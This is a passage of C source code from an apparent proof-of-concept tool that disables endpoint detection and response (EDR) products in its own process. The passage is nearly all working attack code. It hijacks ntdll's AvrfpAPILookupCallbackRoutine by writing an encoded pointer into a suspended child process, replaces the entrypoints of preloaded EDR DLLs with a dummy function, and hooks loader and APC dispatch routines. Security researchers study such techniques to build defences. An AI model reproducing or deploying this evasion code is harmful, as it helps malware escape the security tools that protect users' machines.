| protect_address = target_address; 84 | 85 | // set the target page memory to RWX so we can write our hooks to it 86 | g_ptr_table.NtProtectVirtualMemory((HANDLE)-1, &protect_address, &total_size, PAGE_EXECUTE_READWRITE, &old_protection); 87 | 88 | // make the jump instruction to redirect execution to our hook handler 89 | *(ULONG_PTR*)&jmp_buffer[2] = ((ULONG_PTR)hook_procedure); 90 | 91 | // hook the target function 92 | SafeRuntime::memcpy(target_address, &jmp_buffer, sizeof(jmp_buffer)); 93 | 94 | // re-protect the executable memory 95 | g_ptr_table.NtProtectVirtualMemory((HANDLE)-1, &protect_address, &total_size, old_protection, &old_protection); 96 | } 97 | 98 | // a benign function we can replace the EDR entrypoint pointer with 99 | DWORD EdrParadise() { 100 | // we'll replaced the EDR entrypoint with this equally useful function 101 | // todo: stop malware 102 | 103 | return ERROR_TOO_MANY_SECRETS; 104 | } 105 | 106 | /* 107 | Some EDRs are able to call LdrLoadDll() before our LdrGetProcedureAddress() callback is run 108 | in this case, our callback will be called before LdrLoadDll() is done loading the EDR DLL. 109 | We'll defang the EDR by replacing its DLL entrypoint with a benign function. 110 | */ 111 | void DisablePreloadedEdrModules() { 112 | PEB* peb = NtCurrentTeb()->ProcessEnvironmentBlock; 113 | 114 | LIST_ENTRY* list_head = &peb->Ldr->InMemoryOrderModuleList; 115 | LIST_ENTRY* list_entry = list_head->Flink->Flink; 116 | 117 | while (list_entry != list_head) { 118 | PLDR_DATA_TABLE_ENTRY2 module_entry = CONTAINING_RECORD(list_entry, LDR_DATA_TABLE_ENTRY2, InMemoryOrderLinks); 119 | 120 | // only ntdll.dll, kernel32.dll, and kernelbase.dll should be loaded this early, anything else is probably an EDR 121 | if (SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"ntdll.dll") != 0 && 122 | SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"kernel32.dll") != 0 && 123 | SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"kernelbase.dll") != 0) { 124 | 125 | module_entry->EntryPoint = &EdrParadise; 126 | } 127 | 128 | list_entry = list_entry->Flink; 129 | } 130 | } 131 | 132 | // we can use this hook to prevent new modules from being loaded (though with both EDRs I tested, we don't need to) 133 | NTSTATUS WINAPI LdrLoadDllHook(PWSTR search_path, PULONG dll_characteristics, UNICODE_STRING* dll_name, PVOID* base_address) { 134 | g_ptr_table.OutputDebugStringW(dll_name->Buffer); 135 | return OriginalLdrLoadDll(search_path, dll_characteristics, dll_name, base_address); 136 | } 137 | 138 | // ntdll encrypts all pointers for exploit mitigation, but since we're already on the system we can bypass this 139 | LPVOID encode_system_ptr(LPVOID ptr) { 140 | // get pointer cookie from SharedUserData!Cookie (0x330) 141 | ULONG cookie = *(ULONG*)0x7FFE0330; 142 | 143 | // encrypt our pointer so it'll work when written to ntdll 144 | return (LPVOID)_rotr64(cookie ^ (ULONGLONG)ptr, cookie & 0x3F); 145 | } 146 | 147 | // find the address of ntdll!AvrfpAPILookupCallbackRoutine by scanning the .mrdata section of ntdll 148 | ULONG_PTR find_avrfp_address(ULONG_PTR mrdata_base) { 149 | ULONG_PTR address_ptr = mrdata_base + 0x280; 150 | ULONG_PTR ldrp_mrdata_base = NULL; 151 | 152 | // LdrpMrdataBase contains the .mrdata section base address and is located directly before AvrfpAPILookupCallbackRoutine 153 | for (int i = 0; i < 10; i++) { 154 | if (*(ULONG_PTR*)address_ptr == mrdata_base) { 155 | printf("found ntdll!LdrpMrdataBase at 0x%llx\n", address_ptr); 156 | ldrp_mrdata_base = address_ptr; 157 | break; 158 | } 159 | address_ptr += sizeof(LPVOID); // skip to the next pointer 160 | } 161 | 162 | if (!ldrp_mrdata_base) { 163 | printf("failed to find ntdll!LdrpMrdataBase"); 164 | return NULL; 165 | } 166 | 167 | address_ptr = ldrp_mrdata_base; 168 | 169 | // AvrfpAPILookupCallbackRoutine should be the first NULL pointer after LdrpMrdataBase 170 | for (int i = 0; i < 10; i++) { 171 | if (*(ULONG_PTR*)address_ptr == NULL) { 172 | printf("found ntdll!AvrfpAPILookupCallbackRoutine at 0x%llx\n", address_ptr); 173 | return address_ptr; 174 | } 175 | address_ptr += sizeof(LPVOID); // skip to the next pointer 176 | } 177 | 178 | return NULL; 179 | } 180 | 181 | /* 182 | This function will execute every time LdrGetProcedureAddress() is called. 183 | The first call is extremely early in the process load, during (When kernel32.dll is loaded by LdrpInitializeProcess()). 184 | since only ntdll.dll is loaded, and we're inside the loader lock, we must be extremely careful. 185 | Calling LoadLibrary() or starting a thread will deadlock the process. 186 | */ 187 | LPVOID WINAPI LdrGetProcedureAddressCallback(LPVOID dll_base, LPVOID caller, LPVOID func_addr) { 188 | static BOOL hook_placed = FALSE; 189 | 190 | if (!hook_placed) { 191 | hook_placed = TRUE; 192 | 193 | // The PsSetLoadImageNotifyRoutine() callback for ntdll (and maybe kernel32) can be fired slightly before our callback. 194 | // as a result, some EDR DLLs could be mapped but not yet initialized. To counter this we'll replace the their entrypoints. 195 | DisablePreloadedEdrModules(); 196 | 197 | // we'll hook LdrLoadDll() just for debugging purposes (we can use it to block DLL loads, but shouldn't need to). 198 | HookFunction(g_ptr_table.LdrLoadDll, LdrLoadDllHook, (LPVOID*)&OriginalLdrLoadDll); 199 | 200 | // we'll hook KiUserApcDispatcher() to prevent any APCs being queued into our process from the EDR's kernel driver. 201 | HookFunction(g_ptr_table.KiUserApcDispatcher, KiUserApcDispatcher, NULL); 202 | } 203 | 204 | return func_addr; 205 | } 206 | 207 | // re-launch our process and hook the loader by enabling ntdll!AvrfpAPILookupCallbackRoutine 208 | void EDRPreloader(char* file_path) { 209 | PROCESS_INFORMATION pi = { 0 }; 210 | STARTUPINFOA si = { 0 }; 211 | HMODULE ntdll = GetModuleHandleA("ntdll.dll"); 212 | HMODULE kernel32 = GetModuleHandleA("kernel32.dll"); 213 | 214 | 215 | // find the address of ntdll!AvrfpAPILookupCallbacksEnabled 216 | ULONG_PTR avrfp_address = find_avrfp_address(GetSectionBase((ULONG_PTR)ntdll, ".mrdata")); 217 | if (!avrfp_address) { 218 | printf("failed to find address of ntdll!AvrfpAPILookupCallbackRoutine\n"); 219 | return; 220 | } 221 | 222 | // we can't call GetProcAddress() in the child process due to kernel32 not being loaded, so we'll resolve ahead of time 223 | // we could always implement a custom GetModuleHandle() and GetProcAddress() equivalent, but why. 224 | g_ptr_table.NtProtectVirtualMemory = (t_NtProtectVirtualMemory)GetProcAddress(ntdll, "NtProtectVirtualMemory"); 225 | g_ptr_table.NtAllocateVirtualMemory = (t_NtAllocateVirtualMemory)GetProcAddress(ntdll, "NtAllocateVirtualMemory"); 226 | g_ptr_table.LdrLoadDll = (t_LdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll"); 227 | g_ptr_table.NtContinue = (t_NtContinue)GetProcAddress(ntdll, "NtContinue"); 228 | g_ptr_table.KiUserApcDispatcher = (t_NtContinue)GetProcAddress(ntdll, "KiUserApcDispatcher"); 229 | g_ptr_table.OutputDebugStringW = (t_OutputDebugStringW)GetProcAddress(kernel32, "OutputDebugStringW"); 230 | 231 | 232 | si.cb = sizeof(si); 233 | 234 | // start a second copy of or process in a suspended state so we can set up our callback safely 235 | if (!CreateProcessA(NULL, file_path, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { 236 | printf("C() failed, error: %d\n", GetLastError()); 237 | } 238 | 239 | // overwrite the g_ptr_table in the child process with the already initialized one 240 | if (!WriteProcessMemory(pi.hProcess, &g_ptr_table, &g_ptr_table, sizeof(PTR_TABLE), NULL)) { 241 | printf("Write 1 failed, error: %d\n", GetLastError()); 242 | } 243 | 244 | // ntdll pointer are encoded using the system pointer cookie located at SharedUserData!Cookie 245 | LPVOID callback_ptr = encode_system_ptr(&LdrGetProcedureAddressCallback); 246 | 247 | // set ntdll!AvrfpAPILookupCallbackRoutine to our encoded callback address 248 | if (!WriteProcessMemory(pi.hProcess, (LPVOID)(avrfp_address + 8), &callback_ptr, sizeof(ULONG_PTR), NULL)) { 249 | printf("Write 2 failed, error: %d\n", GetLastError()); 250 | } 251 | 252 | // set ntdll!AvrfpAPILookupCallbacksEnabled to TRUE 253 | uint8_t bool_true = 1; 254 | 255 | if (!WriteProcessMemory(pi.hProcess, (LPVOID)avrfp_address, &bool_true, 1, NULL)) { 256 | printf("Write 3 failed, error: %d\n", GetLastError()); 257 | } 258 | 259 | // resume the process 260 | ResumeThread(pi.hThread); 261 | } 262 | 263 | // check if EDR hooks are deployed by checking the first two instructions of some commonly hooked ntdll function 264 | void CheckForHooks() { 265 | HMODULE ntdll = GetModuleHandleA("ntdll.dll"); 266 | LPVOID ntmap, ntallocate, ntsetcontext; 267 | 268 | BYTE syscall_stub_prefix[] = { 269 | 0x4c, 0x8b, 0xd1, // mov r10, rcx 270 | 0xb8 // mov eax, ?? 271 | }; 272 | 273 | ntmap = GetProcAddress(ntdll, "NtMapViewOfSection"); 274 | ntallocate = GetProcAddress(ntdll, "NtAllocateVirtualMemory"); 275 | ntsetcontext = GetProcAddress(ntdll, "NtSetContextThread"); 276 | 277 | printf("NtSetContextThread hooked: %s\n", (*(DWORD*)ntsetcontext != *(DWORD*)&syscall_stub_prefix) ? "True" : "False"); 278 | printf("NtAllocateVirtualMemory hooked: %s\n", (*(DWORD*)ntallocate != *(DWORD*)&syscall_stub_prefix) ? "True" : "False"); 279 | printf("NtMapViewOfSection hooked: %s\n", (*(DWORD*)ntmap != *(DWORD*)&syscall_stub_prefix) ? "True" : "False"); 280 | } 281 | 282 | int main(int argc, char *argv[]) 283 | { 284 | // if the g_ptr_table isn't yet initialized, this is our first run. 285 | if (g_ptr_table.LdrLoadDll == 0) { 286 | printf("WARNING: app crashes during LdrpInitializeProcess() can freeze the system, run this PoC in a VM.\n"); 287 | printf("hit return to continue.\n"); 288 | getchar(); 289 | 290 | CheckForHooks(); 291 | 292 | printf("\nRunning EDRPreloader...\n\n"); 293 | 294 | // re-launch our process with the EDR-Preload bypass in place 295 | EDRPreloader(argv[0]); 296 | } 297 | else { 298 | printf("\nHello from a (hopefully) unhooked process!\n"); 299 | 300 | CheckForHooks(); 301 | } 302 | 303 | getchar(); 304 | } 305 | --------------------------------------------------------------------------------